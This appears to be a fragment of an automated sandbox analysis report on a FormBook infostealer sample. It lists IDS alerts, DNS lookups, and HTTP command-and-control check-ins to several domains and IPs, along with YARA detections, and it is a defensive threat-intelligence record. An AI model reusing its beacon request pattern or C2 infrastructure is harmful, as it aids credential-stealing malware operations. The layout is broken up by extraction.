.reloc 0xc2000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Data Directories

Sections
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Snort IDS Alerts

Network Port Distribution

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

06/10/21-
17:59:39.007769

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49768 80 192.168.2.4 151.106.118.75

06/10/21-
17:59:39.007769

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49768 80 192.168.2.4 151.106.118.75

06/10/21-
17:59:39.007769

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49768 80 192.168.2.4 151.106.118.75

06/10/21-
17:59:56.257801

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49771 80 192.168.2.4 192.169.223.13

06/10/21-
17:59:56.257801

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49771 80 192.168.2.4 192.169.223.13

06/10/21-
17:59:56.257801

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49771 80 192.168.2.4 192.169.223.13

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 10, 2021 17:59:21.936187029 CEST 192.168.2.4 8.8.8.8 0xbaa6 Standard query 
(0)

www.hidden
wholesale.com

A (IP address) IN (0x0001)

Jun 10, 2021 17:59:27.751991987 CEST 192.168.2.4 8.8.8.8 0xa757 Standard query 
(0)

www.anewdi
straction.com

A (IP address) IN (0x0001)

Jun 10, 2021 17:59:33.123146057 CEST 192.168.2.4 8.8.8.8 0x88aa Standard query 
(0)

www.cleanx
care.com

A (IP address) IN (0x0001)

Jun 10, 2021 17:59:38.369435072 CEST 192.168.2.4 8.8.8.8 0xc537 Standard query 
(0)

www.biztek
no.com

A (IP address) IN (0x0001)

Jun 10, 2021 17:59:44.536937952 CEST 192.168.2.4 8.8.8.8 0x8971 Standard query 
(0)

www.69-1hn
7uc.net

A (IP address) IN (0x0001)

Jun 10, 2021 17:59:50.787945986 CEST 192.168.2.4 8.8.8.8 0x9293 Standard query 
(0)

www.cyrilg
raze.com

A (IP address) IN (0x0001)

Jun 10, 2021 17:59:55.995110035 CEST 192.168.2.4 8.8.8.8 0xb3bc Standard query 
(0)

www.center
golosinas.com

A (IP address) IN (0x0001)

Jun 10, 2021 18:00:01.465610027 CEST 192.168.2.4 8.8.8.8 0x9f6 Standard query 
(0)

www.adultp
eace.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 10, 2021 
17:59:22.102794886 
CEST

8.8.8.8 192.168.2.4 0xbaa6 No error (0) www.hidden
wholesale.com

pixie.porkbun.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 10, 2021 
17:59:22.102794886 
CEST

8.8.8.8 192.168.2.4 0xbaa6 No error (0) pixie.pork
bun.com

44.227.65.245 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:22.102794886 
CEST

8.8.8.8 192.168.2.4 0xbaa6 No error (0) pixie.pork
bun.com

44.227.76.166 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:27.827166080 
CEST

8.8.8.8 192.168.2.4 0xa757 No error (0) www.anewdi
straction.com

ext-
sq.squarespace.com

CNAME 
(Canonical 
name)

IN (0x0001)

Resources

Imports

Version Infos

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Jun 10, 2021 
17:59:27.827166080 
CEST

8.8.8.8 192.168.2.4 0xa757 No error (0) ext-sq.squ
arespace.com

198.185.159.144 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:27.827166080 
CEST

8.8.8.8 192.168.2.4 0xa757 No error (0) ext-sq.squ
arespace.com

198.49.23.145 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:27.827166080 
CEST

8.8.8.8 192.168.2.4 0xa757 No error (0) ext-sq.squ
arespace.com

198.185.159.145 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:27.827166080 
CEST

8.8.8.8 192.168.2.4 0xa757 No error (0) ext-sq.squ
arespace.com

198.49.23.144 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:33.205077887 
CEST

8.8.8.8 192.168.2.4 0x88aa No error (0) www.cleanx
care.com

cleanxcare.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 10, 2021 
17:59:33.205077887 
CEST

8.8.8.8 192.168.2.4 0x88aa No error (0) cleanxcare.com 78.31.67.91 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:38.737392902 
CEST

8.8.8.8 192.168.2.4 0xc537 No error (0) www.biztek
no.com

biztekno.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 10, 2021 
17:59:38.737392902 
CEST

8.8.8.8 192.168.2.4 0xc537 No error (0) biztekno.com 151.106.118.75 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:45.085048914 
CEST

8.8.8.8 192.168.2.4 0x8971 No error (0) www.69-1hn
7uc.net

163.43.122.119 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:50.853202105 
CEST

8.8.8.8 192.168.2.4 0x9293 No error (0) www.cyrilg
raze.com

104.21.65.7 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:50.853202105 
CEST

8.8.8.8 192.168.2.4 0x9293 No error (0) www.cyrilg
raze.com

172.67.138.177 A (IP address) IN (0x0001)

Jun 10, 2021 
17:59:56.064225912 
CEST

8.8.8.8 192.168.2.4 0xb3bc No error (0) www.center
golosinas.com

centergolosinas.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 10, 2021 
17:59:56.064225912 
CEST

8.8.8.8 192.168.2.4 0xb3bc No error (0) centergolo
sinas.com

192.169.223.13 A (IP address) IN (0x0001)

Jun 10, 2021 
18:00:01.821636915 
CEST

8.8.8.8 192.168.2.4 0x9f6 No error (0) www.adultp
eace.com

adultpeace.com CNAME 
(Canonical 
name)

IN (0x0001)

Jun 10, 2021 
18:00:01.821636915 
CEST

8.8.8.8 192.168.2.4 0x9f6 No error (0) adultpeace.com 163.44.239.73 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
www.hiddenwholesale.com

            
www.anewdistraction.com

            
www.cleanxcare.com

            
www.biztekno.com

            
www.69-1hn7uc.net

            
www.cyrilgraze.com

            
www.centergolosinas.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49763 44.227.65.245 80 C:\Windows\explorer.exe

HTTP Request Dependency Graph

HTTP Packets
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Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
17:59:22.523107052 CEST

3666 OUT GET /p2io/?xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&YluDM
=Ofc4YV0pThsp HTTP/1.1
Host: www.hiddenwholesale.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 10, 2021 
17:59:22.729955912 CEST

3667 IN HTTP/1.1 307 Temporary Redirect
Server: openresty
Date: Thu, 10 Jun 2021 15:59:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 168
Connection: close
Location: http://hiddenwholesale.com
X-Frame-Options: sameorigin
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 
65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 
3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 
0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 
3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</
h1></center><hr><center>openresty</center></body></html>

Jun 10, 2021 
17:59:22.936537981 CEST

3667 IN HTTP/1.1 307 Temporary Redirect
Server: openresty
Date: Thu, 10 Jun 2021 15:59:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 168
Connection: close
Location: http://hiddenwholesale.com
X-Frame-Options: sameorigin
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 
65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 
3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 
0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 
3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</
h1></center><hr><center>openresty</center></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49764 198.185.159.144 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
17:59:27.964210987 CEST

3668 OUT GET /p2io/?xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&YluDM
=Ofc4YV0pThsp HTTP/1.1
Host: www.anewdistraction.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Jun 10, 2021 
17:59:28.103754044 CEST

3669 IN HTTP/1.1 400 Bad Request
Cache-Control: no-cache, must-revalidate
Content-Length: 77564
Content-Type: text/html; charset=UTF-8
Date: Thu, 10 Jun 2021 15:59:28 UTC
Expires: Thu, 01 Jan 1970 00:00:00 UTC
Pragma: no-cache
Server: Squarespace
X-Contextid: XwfQswqc/7LuuUOoE
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 
42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 
72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 
6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 
20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 6
1 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 3
0 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 
61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 
3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 
0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 
2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 
20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 
65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 
65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 
61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 
23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 
62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 
20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 
73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 
74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 
66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 
74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3
b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 
68 74 3a 20 32 65 6d 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 
6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 
Data Ascii: <!DOCTYPE html><head>  <title>400 Bad Request</title>  <meta name="viewport" content="width=device-
width, initial-scale=1">  <style type="text/css">  body {    background: white;  }  main {    position: absolute;    top: 50%;    
left: 50%;    transform: translate(-50%, -50%);    text-align: center;    min-width: 95vw;  }  main h1 {    font-weight: 300;    
font-size: 4.6em;    color: #191919;    margin: 0 0 11px 0;  }  main p {    font-size: 1.4em;    color: #3a3a3a;    font-weight: 3
00;    line-height: 2em;    margin: 0;  }  main p a {    color: #3a3a3a;    text-decoration: none;    border-bottom: solid 1px 
#3a3a3a;  }  body {    font-family: "Clarkson", sans-serif;    font-size: 12px;  }  #status-page {    display: none;  }  footer {    
position: absolute;    bottom: 22px;    left: 0;    width: 100%;    text-align: center;    line-height: 2em;  }  footer span {    
margin: 0 11px;    font-size: 1em;    

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.4 49767 78.31.67.91 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
17:59:33.260176897 CEST

3727 OUT GET /p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM
=Ofc4YV0pThsp HTTP/1.1
Host: www.cleanxcare.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Jun 10, 2021 
17:59:33.313033104 CEST

3728 IN HTTP/1.1 301 Moved Permanently
Connection: close
Content-Type: text/html
Content-Length: 707
Date: Thu, 10 Jun 2021 15:59:33 GMT
Location: https://www.cleanxcare.com/p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiy
L1Lf04YLJeQ+Gz7y&YluDM=Ofc4YV0pThsp
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: User-Agent
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 
31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 
65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 
79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 
31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
0 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 
3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 
73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 
20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 
35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 
64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 
66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 
32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 
20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, 
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: 
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">     <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">        
<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.4 49768 151.106.118.75 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
17:59:39.007769108 CEST

3729 OUT GET /p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0pT
hsp HTTP/1.1
Host: www.biztekno.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 10, 2021 
17:59:41.822793961 CEST

3730 IN HTTP/1.1 301 Moved Permanently
Connection: close
x-powered-by: PHP/7.4.20
set-cookie: weather_location=unknown; expires=Sat, 10-Jul-2021 15:59:39 GMT; Max-Age=2591999; path=/
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
x-redirect-by: WordPress
location: http://biztekno.com/p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&
YluDM=Ofc4YV0pThsp
x-litespeed-cache: miss
content-length: 0
date: Thu, 10 Jun 2021 15:59:41 GMT
server: LiteSpeed
vary: User-Agent

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.4 49769 163.43.122.119 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
17:59:45.423042059 CEST

3732 OUT GET /p2io/?xN6x=V9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3noXQhbdRFxPUlYrbD&YluDM
=Ofc4YV0pThsp HTTP/1.1
Host: www.69-1hn7uc.net
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Jun 10, 2021 
17:59:45.760066986 CEST

3732 IN HTTP/1.1 302 Found
Date: Thu, 10 Jun 2021 15:59:44 GMT
Server: Apache/2.2.13 (Unix)
Location: http://www.69-1hn7uc.net/notfound?xN6x=V9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3
noXQhbdRFxPUlYrbD&YluDM=Ofc4YV0pThsp
Content-Length: 314
Connection: close
Content-Type: text/html; charset=iso-8859-1
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 
75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 
0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 
3a 2f 2f 77 77 77 2e 36 39 2d 31 68 6e 37 75 63 2e 6e 65 74 2f 6e 6f 74 66 6f 75 6e 64 3f 78 4e 36 78 3d 56 39 51 36 59 
4e 45 73 6d 55 54 67 75 6e 31 78 36 6a 38 52 56 52 74 30 75 64 50 43 79 6b 4b 45 4e 2f 7a 4b 2b 49 39 2f 58 43 7a 65 4f 
43 36 35 30 6f 33 6e 6f 58 51 68 62 64 52 46 78 50 55 6c 59 72 62 44 26 61 6d 70 3b 59 6c 75 44 4d 3d 4f 66 63 34 59 56 
30 70 54 68 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="http://www.69-1hn7uc.net/notfound?xN6x=V
9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3noXQhbdRFxPUlYrbD&amp;YluDM=Ofc4YV0pThsp
">here</a>.</p></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.4 49770 104.21.65.7 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
17:59:50.897965908 CEST

3734 OUT GET /p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM
=Ofc4YV0pThsp HTTP/1.1
Host: www.cyrilgraze.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 10, 2021 
17:59:50.956264973 CEST

3735 IN HTTP/1.1 301 Moved Permanently
Date: Thu, 10 Jun 2021 15:59:50 GMT
Transfer-Encoding: chunked
Connection: close
Cache-Control: max-age=3600
Expires: Thu, 10 Jun 2021 16:59:50 GMT
Location: https://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/
6Lr2O25ts36CozLG&YluDM=Ofc4YV0pThsp
cf-request-id: 0a983fcc9400004a5cd3af6000000001
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=wxDs3yH1Q0jpz%2FQwU22N2J90efSFme
micGmwvxLuWvDu0xC%2B%2FvwdkRc7EMM122xuc%2FufIqiNWH%2Fbb7H8jCiF0PEAjzqwvcdeeWzg2jpurI0DOf6h
6pBSRaK95iLDrAUd"}],"group":"cf-nel","max_age":604800}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 65d3cf27582a4a5c-FRA
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.4 49771 192.169.223.13 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
17:59:56.257801056 CEST

3735 OUT GET /p2io/?xN6x=r2GsjHfGgcaZI4XPmfqM84hqAY3LnZYXU2G/Xsttb0tqrt8DFa/RFFebhWMTMoil/lgU&YluDM
=Ofc4YV0pThsp HTTP/1.1
Host: www.centergolosinas.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 10, 2021 
17:59:56.448759079 CEST

3736 IN HTTP/1.1 302 Found
Connection: close
Pragma: no-cache
cache-control: no-cache
Location: /p2io/?xN6x=r2GsjHfGgcaZI4XPmfqM84hqAY3LnZYXU2G/Xsttb0tqrt8DFa/RFFebhWMTMoil/lgU&YluDM=Ofc
4YV0pThsp
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Statistics

Behavior

Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 17:57:55

Start date: 10/06/2021

Path: C:\Users\user\Desktop\SKlGhwkzTi.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\SKlGhwkzTi.exe' 

Imagebase: 0x940000

File size: 782336 bytes

MD5 hash: 8252E0BD8E579259CC18CEAE0C5C6D64

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000000.00000002.679347370.0000000002E23000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 17:58:07

Start date: 10/06/2021

Path: C:\Users\user\Desktop\SKlGhwkzTi.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Desktop\SKlGhwkzTi.exe

Imagebase: 0xe00000

File size: 782336 bytes

MD5 hash: 8252E0BD8E579259CC18CEAE0C5C6D64

Analysis Process: SKlGhwkzTi.exe PID: 6896 Parent PID: 6020Analysis Process: SKlGhwkzTi.exe PID: 6896 Parent PID: 6020

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: SKlGhwkzTi.exe PID: 4484 Parent PID: 6896Analysis Process: SKlGhwkzTi.exe PID: 4484 Parent PID: 6896

General
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Has elevated privileges: true

Has administrator privileges: true

